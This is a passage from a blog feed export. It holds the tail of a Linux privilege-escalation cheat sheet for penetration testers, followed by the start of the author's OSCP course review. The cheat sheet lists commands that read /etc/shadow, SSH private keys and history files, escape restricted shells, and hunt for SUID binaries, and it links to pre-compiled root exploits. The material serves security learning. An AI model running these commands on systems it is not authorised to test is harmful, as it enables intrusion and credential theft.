p ; nc -l -p 8080 0 &amp;amp; &amp;lt; backpipe | tee -a inflow | nc localhost 80 | tee -a outflow &amp;amp; 1&amp;gt;backpipe &amp;nbsp;&amp;nbsp; # Proxy monitor (Port 80 to 8080)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt; Is tunnelling possible? &lt;i&gt;Send commands locally, remotely&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ssh -D 127.0.0.1:9050 -N [username]@[ip] &lt;br /&gt;proxychains ifconfig&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Confidential Information &amp;amp; &lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Users&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?&lt;/span&gt;&lt;br /&gt;id&lt;br /&gt;who&lt;br /&gt;w&lt;br /&gt;last &lt;br /&gt;cat /etc/passwd | cut -d: &amp;nbsp;&amp;nbsp; # List of users&lt;br /&gt;grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'&amp;nbsp;&amp;nbsp; # List of super users&lt;br /&gt;awk -F: '($3 == "0") {print}' /etc/passwd&amp;nbsp;&amp;nbsp; # List of super users&lt;br /&gt;cat /etc/sudoers&lt;br /&gt;sudo -l &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What sensitive files can be found? &lt;/span&gt;&lt;br /&gt;cat /etc/passwd&lt;br /&gt;cat /etc/group&lt;br /&gt;cat /etc/shadow&lt;br /&gt;ls -alh /var/mail/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Anything "interesting" in the home directorie(s)? &lt;i&gt;If it's possible to access&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ls -ahlR /root/&lt;br /&gt;ls -ahlR /home/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Are there any passwords in; scripts, databases, configuration files or log files? &lt;i&gt;Default paths and locations for passwords&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;cat /var/apache2/config.inc&lt;br /&gt;cat /var/lib/mysql/mysql/user.MYD &lt;br /&gt;cat /root/anaconda-ks.cfg&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What has the user being doing? &lt;i&gt;Is there any password in plain text? What have they been edting?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;cat ~/.bash_history&lt;br /&gt;cat ~/.nano_history&lt;br /&gt;cat ~/.atftp_history&lt;br /&gt;cat ~/.mysql_history &lt;br /&gt;cat ~/.php_history&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What user information can be found? &lt;/span&gt;&lt;br /&gt;cat ~/.bashrc&lt;br /&gt;cat ~/.profile&lt;br /&gt;cat /var/mail/root&lt;br /&gt;cat /var/spool/mail/root&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Can private-key information be found? &lt;/span&gt;&lt;br /&gt;cat ~/.ssh/authorized_keys&lt;br /&gt;cat ~/.ssh/identity.pub&lt;br /&gt;cat ~/.ssh/identity&lt;br /&gt;cat ~/.ssh/id_rsa.pub&lt;br /&gt;cat ~/.ssh/id_rsa&lt;br /&gt;cat ~/.ssh/id_dsa.pub&lt;br /&gt;cat ~/.ssh/id_dsa&lt;br /&gt;cat /etc/ssh/ssh_config&lt;br /&gt;cat /etc/ssh/sshd_config&lt;br /&gt;cat /etc/ssh/ssh_host_dsa_key.pub&lt;br /&gt;cat /etc/ssh/ssh_host_dsa_key&lt;br /&gt;cat /etc/ssh/ssh_host_rsa_key.pub&lt;br /&gt;cat /etc/ssh/ssh_host_rsa_key&lt;br /&gt;cat /etc/ssh/ssh_host_key.pub&lt;br /&gt;cat /etc/ssh/ssh_host_key&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;File Systems&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Which configuration files can be written in /etc/? &lt;i&gt;Able to reconfigure a service?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2&amp;gt;/dev/null &amp;nbsp;&amp;nbsp;&amp;nbsp; # Anyone&lt;br /&gt;ls -aRl /etc/ | awk '$1 ~ /^..w/' 2&amp;gt;/dev/null&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Owner&lt;br /&gt;ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2&amp;gt;/dev/null &amp;nbsp;&amp;nbsp; # Group&lt;br /&gt;ls -aRl /etc/ | awk '$1 ~ /w.$/' 2&amp;gt;/dev/null &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; # Other&lt;br /&gt;&lt;br /&gt;find /etc/ -readable -type f 2&amp;gt;/dev/null&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Anyone&lt;br /&gt;find /etc/ -readable -type f -maxdepth 1 2&amp;gt;/dev/null&amp;nbsp;&amp;nbsp; # Anyone &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What can be found in /var/ ? &lt;/span&gt;&lt;br /&gt;ls -alh /var/log&lt;br /&gt;ls -alh /var/mail&lt;br /&gt;ls -alh /var/spool&lt;br /&gt;ls -alh /var/spool/lpd &lt;br /&gt;ls -alh /var/lib/pgsql&lt;br /&gt;ls -alh /var/lib/mysql&lt;br /&gt;cat /var/lib/dhcp3/dhclient.leases&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Any settings/files (hidden) on website? &lt;i&gt;Any settings file with database information?&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;ls -alhR /var/www/&lt;br /&gt;ls -alhR /srv/www/htdocs/ &lt;br /&gt;ls -alhR /usr/local/www/apache22/data/&lt;br /&gt;ls -alhR /opt/lampp/htdocs/ &lt;br /&gt;ls -alhR /var/www/html/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Is there anything in the log file(s) &lt;i&gt;(Could help with "Local File Includes"!)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;# http://www.thegeekstuff.com/2011/08/linux-var-log-files/&lt;br /&gt;cat /etc/httpd/logs/access_log&lt;br /&gt;cat /etc/httpd/logs/access.log&lt;br /&gt;cat /etc/httpd/logs/error_log&lt;br /&gt;cat /etc/httpd/logs/error.log&lt;br /&gt;cat /var/log/apache2/access_log&lt;br /&gt;cat /var/log/apache2/access.log&lt;br /&gt;cat /var/log/apache2/error_log&lt;br /&gt;cat /var/log/apache2/error.log&lt;br /&gt;cat /var/log/apache/access_log&lt;br /&gt;cat /var/log/apache/access.log&lt;br /&gt;cat /var/log/auth.log&lt;br /&gt;cat /var/log/chttp.log&lt;br /&gt;cat /var/log/cups/error_log&lt;br /&gt;cat /var/log/dpkg.log&lt;br /&gt;cat /var/log/faillog&lt;br /&gt;cat /var/log/httpd/access_log&lt;br /&gt;cat /var/log/httpd/access.log&lt;br /&gt;cat /var/log/httpd/error_log&lt;br /&gt;cat /var/log/httpd/error.log&lt;br /&gt;cat /var/log/lastlog&lt;br /&gt;cat /var/log/lighttpd/access.log&lt;br /&gt;cat /var/log/lighttpd/error.log&lt;br /&gt;cat /var/log/lighttpd/lighttpd.access.log&lt;br /&gt;cat /var/log/lighttpd/lighttpd.error.log&lt;br /&gt;cat /var/log/messages&lt;br /&gt;cat /var/log/secure&lt;br /&gt;cat /var/log/syslog&lt;br /&gt;cat /var/log/wtmp&lt;br /&gt;cat /var/log/xferlog&lt;br /&gt;cat /var/log/yum.log&lt;br /&gt;cat /var/run/utmp&lt;br /&gt;cat /var/webmin/miniserv.log&lt;br /&gt;cat /var/www/logs/access_log&lt;br /&gt;cat /var/www/logs/access.log&lt;br /&gt;ls -alh /var/lib/dhcp3/&lt;br /&gt;ls -alh /var/log/postgresql/&lt;br /&gt;ls -alh /var/log/proftpd/&lt;br /&gt;ls -alh /var/log/samba/&lt;br /&gt;# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;If commands are limited, you break out of the "jail" shell?&lt;/span&gt;&lt;br /&gt;python -c 'import pty;pty.spawn("/bin/bash")'&lt;br /&gt;echo os.system('/bin/bash')&lt;br /&gt;/bin/sh -i&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;How are file-systems mounted? &lt;/span&gt;&lt;br /&gt;mount&lt;br /&gt;df -h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Are there any unmounted file-systems?&lt;/span&gt;&lt;br /&gt;cat /etc/fstab&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What "Advanced Linux File Permissions" are used? Sticky bits, SUID &amp;amp; GUID&lt;/span&gt;&lt;br /&gt;find / -perm -1000 -type d 2&amp;gt;/dev/null&amp;nbsp; &amp;nbsp; # Sticky bit - &lt;i&gt;Only the owner of the directory or                                              the owner of a file can delete or rename here&lt;/i&gt;&lt;br /&gt;find / -perm -g=s -type f 2&amp;gt;/dev/null&amp;nbsp; &amp;nbsp; # SGID (chmod 2000) &lt;i&gt;- run as the&amp;nbsp; group, not the user who started it.&lt;/i&gt;&lt;br /&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&amp;nbsp; &amp;nbsp; # SUID (chmod 4000) &lt;i&gt;- run as the&amp;nbsp; owner, not the user who started it.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;find / -perm -g=s -o -perm -u=s -type f 2&amp;gt;/dev/null &amp;nbsp;&amp;nbsp; # SGID or SUID&lt;br /&gt;for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2&amp;gt;/dev/null; done &amp;nbsp;&amp;nbsp; # &lt;i&gt;Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;# &lt;span style="color: lime;"&gt;find&lt;/span&gt; &lt;span style="color: blue;"&gt;starting at root (/)&lt;/span&gt;, &lt;span style="color: cyan;"&gt;SGID&lt;/span&gt; &lt;span style="color: orange;"&gt;or&lt;/span&gt; &lt;span style="color: purple;"&gt;SUID&lt;/span&gt;, &lt;span style="color: #e06666;"&gt;not Symbolic links&lt;/span&gt;, &lt;span style="color: #6fa8dc;"&gt;only 3 folders deep&lt;/span&gt;, &lt;span style="color: #93c47d;"&gt;list with more detail&lt;/span&gt; and &lt;span style="color: #f6b26b;"&gt;hide&lt;/span&gt; &lt;span style="color: #f6b26b;"&gt;any errors (e.g. permission denied)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;find&lt;/span&gt; &lt;span style="color: blue;"&gt;/&lt;/span&gt; &lt;span style="color: cyan;"&gt;-perm -g=s&lt;/span&gt; &lt;span style="color: orange;"&gt;-o&lt;/span&gt; &lt;span style="color: purple;"&gt;-perm -4000&lt;/span&gt; &lt;span style="color: #e06666;"&gt;! -type l&lt;/span&gt; &lt;span style="color: #6fa8dc;"&gt;-maxdepth 3&lt;/span&gt;&lt;span style="color: #93c47d;"&gt; -exec ls -ld {} \;&lt;/span&gt; &lt;span style="color: #f6b26b;"&gt;2&amp;gt;/dev/null&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Where can written to and executed from? &lt;i&gt;A few 'common' places: /tmp, /var/tmp, /dev/shm&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;find / -writable -type d 2&amp;gt;/dev/null&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # world-writeable folders&lt;br /&gt;find / -perm -222 -type d 2&amp;gt;/dev/null&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; # world-writeable folders&lt;br /&gt;find / -perm -o+w -type d 2&amp;gt;/dev/null&amp;nbsp; &amp;nbsp; # world-writeable folders&lt;br /&gt;&lt;br /&gt;find / -perm -o+x -type d 2&amp;gt;/dev/null&amp;nbsp; &amp;nbsp; # world-executable folders&lt;br /&gt;&lt;br /&gt;find / \( -perm -o+w -perm -o+x \) -type d 2&amp;gt;/dev/null&amp;nbsp;&amp;nbsp; # world-writeable &amp;amp; executable folders&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Any "problem" files? &lt;i&gt;Word-writeable, "nobody" files&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print&amp;nbsp;&amp;nbsp; # world-writeable files&lt;br /&gt;find /dir -xdev \( -nouser -o -nogroup \) -print&amp;nbsp;&amp;nbsp; # Noowner files&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Preparation &amp;amp; Finding Exploit Code&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;What development tools/languages are installed/supported?&lt;/span&gt;&lt;br /&gt;find / -name perl*&lt;br /&gt;find / -name python*&lt;br /&gt;find / -name gcc* &lt;br /&gt;find / -name cc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;How can files be uploaded?&lt;/span&gt;&lt;br /&gt;find / -name wget&lt;br /&gt;find / -name nc*&lt;br /&gt;find / -name netcat*&lt;br /&gt;find / -name tftp* &lt;br /&gt;find / -name ftp &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Finding exploit code&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.exploit-db.com/"&gt;http://www.exploit-db.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1337day.com/"&gt;http://1337day.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securiteam.com/"&gt;http://www.securiteam.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/"&gt;http://www.securityfocus.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.exploitsearch.net/"&gt;http://www.exploitsearch.net&lt;/a&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/modules/"&gt;http://metasploit.com/modules/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://securityreason.com/"&gt;http://securityreason.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://seclists.org/fulldisclosure/"&gt;http://seclists.org/fulldisclosure/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.google.com/"&gt;http://www.google.com&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Finding more information regarding the exploit &lt;/span&gt;&lt;br /&gt;&lt;a href="http://cvedetails.org/"&gt;http://www.cvedetails.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://packetstormsecurity.org/files/cve/%5BCVE%5D"&gt;http://packetstormsecurity.org/files/cve/[CVE]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.vulnview.com/cve-details.php?cvename=[CVE]"&gt;http://www.vulnview.com/cve-details.php?cvename=[CVE]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;(Quick) "Common" exploits. &lt;i&gt;Warning. Pre-compiled binaries files. Use at your own risk&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://tarantula.by.ru/localroot/"&gt;http://tarantula.by.ru/localroot/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/"&gt;http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Mitigations&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Is any of the above information easy to find?&amp;nbsp;&lt;/span&gt;&lt;br /&gt;Try doing it! &lt;br /&gt;Setup a cron job which automates script(s) and/or 3rd party products&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Is the system fully patched? &lt;i&gt;Kernel, operating system, all applications, their&amp;nbsp; plugins and web services &lt;/i&gt;&lt;/span&gt;&lt;br /&gt;apt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;br /&gt;yum update&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Are services running with the&amp;nbsp;minimum&amp;nbsp;level of privileges required? &lt;/span&gt;&lt;br /&gt;For example, do you need to run MySQL as root?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Scripts &lt;i&gt;Can any of this be automated?!&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://pentestmonkey.net/tools/unix-privesc-check/"&gt;http://pentestmonkey.net/tools/unix-privesc-check/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://labs.portcullis.co.uk/application/enum4linux/"&gt;http://labs.portcullis.co.uk/application/enum4linux/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bastille-linux.sourceforge.net/"&gt;http://bastille-linux.sourceforge.net&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Other (quick) guides &amp;amp; Links&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Enumeration&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.0daysecurity.com/penetration-testing/enumeration.html"&gt;http://www.0daysecurity.com/penetration-testing/enumeration.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.microloft.co.uk/hacking/hacking3.htm"&gt;http://www.microloft.co.uk/hacking/hacking3.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;Misc&lt;/span&gt;&lt;br /&gt;&lt;a href="http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf"&gt;http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf"&gt;http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html"&gt;http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;~RSS~&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7536652305346692317-6377355742562710819?l=g0tmi1k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g0tmi1k.blogspot.com/feeds/6377355742562710819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/basic-linux-privilege-escalation.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6377355742562710819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7536652305346692317/posts/default/6377355742562710819'/><link rel='alternate' type='text/html' href='http://g0tmi1k.blogspot.com/2011/08/basic-linux-privilege-escalation.html' title='Basic Linux Privilege Escalation'/><author><name>g0tmi1k</name><uri>http://www.blogger.com/profile/03931196339667834788</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/-b8ahSG-3Omo/TXz_BrNg6iI/AAAAAAAAAHg/pahSnOdvqiE/s1600/logo%252520%252528small%2525202%252529.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7536652305346692317.post-6554631948652186224</id><published>2011-07-28T13:11:00.013+01:00</published><updated>2011-11-14T12:15:10.585Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Review'/><category scheme='http://www.blogger.com/atom/ns#' term='OSCP'/><title type='text'>[Review] Pentesting With BackTrack (PWB) &amp; Offensive Security Certified Professional (OSCP)</title><content type='html'>&lt;div style="text-align: right;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;The views and opinions expressed on this site are those of the author. Any claim, statistic, quote or other representation about a product or service should be verified with the seller, manufacturer or provider.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Up until a month or so ago, everything I've learnt was done by using various free resources online. Last month however, I became an "&lt;a href="http://offensive-security.com/"&gt;offsec&lt;/a&gt;" student. I enrolled on the "&lt;a href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/"&gt;Pentesting with BackTrack"&lt;/a&gt; (PWB) course, currently version 3 (&lt;a href="http://www.offensive-security.com/documentation/penetration-testing-with-backtrack.pdf"&gt;syllabus&lt;/a&gt;). After the lab time is over, the student has the option of sitting an exam. Upon passing the exam, the student is awarded an Offensive Security Certified Professional (OSCP) certificate. I now have that certificate =). This is my review of it all. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;I wanted to do it for a few reasons:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The challenge. Unlike &lt;a href="http://forums.heorot.net/"&gt;De-ICE&lt;/a&gt;, &lt;a href="http://forums.heorot.net/"&gt;pwnOS&lt;/a&gt;, &lt;a href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html"&gt;metaspoitable&lt;/a&gt;, &lt;a href="http://kioptrix.com/"&gt;Kioptrix&lt;/a&gt;, &lt;a href="http://pynstrom.net/holynix.php"&gt;Holynix&lt;/a&gt; and &lt;a href="http://g0tmi1k.blogspot.com/2011/03/vulnerable-by-design.html"&gt;all the other&lt;/a&gt; "boot to root" VMs &amp;amp; ISOs, this is a complete network. And then some. Not just a single machine.&lt;/li&gt;&lt;li&gt;The experience &amp;amp; knowledge. I don't claim to know it all. Far from it. The course covers a wide area of topics/subjects. As a result, it gave me the opportunity to "do" things that otherwise I couldn't. It also forced me to do certain activities I normally I wouldn't bother with, but after they were done, it felt very worth the while, mainly the "paper side" &lt;i&gt;- the report&lt;/i&gt;.&lt;/li&gt;&lt;li&gt;The qualification. Its one thing doing it for fun and having a blog as a notepad, but potential employers would rather see a professional qualification on the CV. I haven't seen job requirements asking for it, but then again, I haven't been looking. I'm still a student, just hoping it will give me an extra edge when the time comes.&lt;/li&gt;&lt;li&gt;Support. Offensive Security funds backtrack. "Nice" to know that a certain percentage of the course fee helps an open source community project. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;I am unable to share the specific details of the course due to the signed contract, so the Visio &lt;a href="http://www.ratemynetworkdiagram.com/"&gt;network map&lt;/a&gt;, which I spent hours on will never been seen again! The same goes for the methods of how to hack host "xyz".&lt;br /&gt;&lt;br /&gt;We all learn differently and do so at different speeds. Also we all have different background experience and not everyone can put in the same about of time. Having now completed the course, I would say if you want to "just pass" the course and can put a good couple of hours in each day then you could get away with doing 30 days - &lt;i&gt;at a push.&lt;/i&gt; However, if you want to take your time, learn it and (try to) "do it all", I would recommend 60+ days in the lab. I started off with 30 days, with the hope of cramming it all in as I could spend 8+ hours a day on it. In the end, it took me a solid 30 days in the labs (not including any of the exercises before the lab work), so I ended up extending it by 15 days. If I was to do it again, I'd opt for 60 days and pace myself better.&lt;br /&gt;&lt;br /&gt;After looking at the &lt;a href="http://www.offensive-security.com/documentation/penetration-testing-with-backtrack.pdf"&gt;syllabus&lt;/a&gt;, I set myself the goal of "getting into the admin network". Then it soon became, "getting a shell on every box I could", which soon turned into "getting 'root/system' on every box I could" - &lt;i&gt;another reason why I extended my time&lt;/i&gt;. I ended up reaching all of these goals. This was a personal goal, it wasn't required, and you don't need to for the exam.&lt;br /&gt;&lt;br /&gt;In the last couple of days of lab time, I was ready to throw in the towel. But I stuck with it and got there in the end, including the last hour, when I managed to root "sufferance" &lt;i&gt;- a "beautifully evil box" in my eyes. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;My next mistake was to book the exam so soon after the Lab time ended. As soon as I was kicked out of the lab, I realised how exhausting it had all been. The only small issue - I still had to write the lab report,&lt;i&gt; which I'm sure most students hate doing&lt;/i&gt;. This was something completely new to me. It wasn't a high point of the course, but I'm glad I've done it. I haven't yet found my "style" of report so I'm planning on forcing myself to spend some time tweaking until I'm happy with it (I'll use the de-ice collection as the subjects).&lt;br /&gt;&lt;br /&gt;I should of known better than to go into an exam feeling so tired. I spent all the morning trying to cross the t's and dot the i's in the report. Then dead on 3pm GMT the exam pack was in my inbox, with all the guidelines and rules, along with the new login details (and a new IP address to use, but I kept on using my lab IP. Oops!). The rules are "&lt;i&gt;slightly&lt;/i&gt;" different compared to the lab. The likes of nessus and "similar" tools are completely forbidden. The systems with which you can attack using metasploit are limited and you can only use it once. Offsec defines "using metasploit" as launching exploits &lt;b&gt;of any type -&lt;i&gt; &lt;/i&gt;&lt;/b&gt;&lt;i&gt;that includes &lt;b&gt;getsystem&lt;/b&gt;&lt;/i&gt;. Allowing you to "scan, handle and listen", with it the rest of the time. I ended up not using my metasploit lifeline.&lt;br /&gt;&lt;br /&gt;There were a few "starting" problems to begin with - but there was an admin on hand in the IRC channel (as there seems to always be!) - and we were up and working 40 minutes later.&lt;br /&gt;Another mistake I made was not taking a break in the exam. I managed to get a couple of boxes within the first couple of hours, though due the weighting of the scoring system it "quite" wasn't enough to pass. I then spent a few hours trying to get into a box, which was just not working. I can't share the details of my issue, I was doing everything right and I'm still not fully sure what the problem was, but by &lt;a href="http://www.youtube.com/watch?v=p85xwZ_OLX0"&gt;magic&lt;/a&gt; it worked. By this time it was "silly o'clock" in the morning &lt;i&gt;- too late to sleep.&lt;/i&gt;&lt;br /&gt;With the last box, I managed to get a shell - though I had a good feeling how to get "system" (turns out I was correct), just couldn't do it in that frame of mind. &lt;br /&gt;The exam report was better than the lab report, much shorter, had a template and it was "fresh"ish in my head. &lt;br /&gt;&lt;br /&gt;Sent the PDF within 24 hours after the exam ended. &lt;i&gt;Finally, I could sleep!&lt;/i&gt; Come the other side of the weekend, there was an email congratulating me. Best Monday morning mail I've got in a while. Job done.&lt;br /&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;There are a range of boxes, with mix operating systems giving you a chance to test out various skill sets which you learn along the way in simulated "real scenarios". "Sufference", by far with was the most "painful" box, without a question. I "&lt;i&gt;finally&lt;/i&gt;" got root on it, with less than an hour to go. A phrase attached to offsec is "Try harder", and there are "awards" for doing so &lt;i&gt;- such as access to &lt;a href="http://www.offensive-security.com/offsec/metasploit-pro-added-to-the-pwb-labs/"&gt;Metasploit Pro&lt;/a&gt;.&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;Overall I really did enjoy the whole course. Everyone I've spoken to and  during the course has said the same. Really is a great way to start  exploring the depths of backtrack with all the tools and scripts it’s  got to offer. I would recommend it, mainly for beginners &amp;amp; intermediates. If you're on a more advance level, you might want to give the course above a try, &lt;a href="http://www.offensive-security.com/online-information-security-training/cracking-the-perimeter/"&gt;Cracking The Perimeter&lt;/a&gt;. I did have to save up for the course, as I paid for it out of my own  pocket. It was worth it and if I had to option to do it again, I would.  Don’t get me wrong, you can learn it all online for free, and I've done  all the self-learning before - It's just knowing where to look to piece  it all together yourself, it was "nice" having someone else doing it &lt;i&gt;-  which added an unknown surprise. &lt;/i&gt;I'm not too sure where I could fault the course. There were a couple of machines where the same single exploit would work - &lt;i&gt;but from my understanding of pentesting, this is the case!&lt;/i&gt; These machines usually had multiple faults in them - so you could also hunt for a unique way in.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;To the people thinking about doing it:&lt;/b&gt;&lt;br /&gt;If you've been doing pentesting for 5+ years - it's probably not for you &lt;i&gt;(also, this blog isn't for you!)&lt;/i&gt; The only reason would be either; if you want a "re-fresher/reminder", just want some letters to add to your CV or you have done everything else! &lt;br /&gt;&lt;br /&gt;Even if you have never done anything along the lines of "port scan" before, then yes, this is for you. The only thing is, Offsec do recommend that before starting the course you have some background with Linux &lt;i&gt;(e.g. know your way around the file system, how to use terminal, print "hello world" in python - that sort of thing)&lt;/i&gt; and networking &lt;i&gt;(e.g. know what goes where and your TCPs packets from UDPs),&lt;/i&gt; and I would agree with them. I would add, try doing something like de-ice before signing up. My justifications:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;There is a fair bit of self-learning on the course. 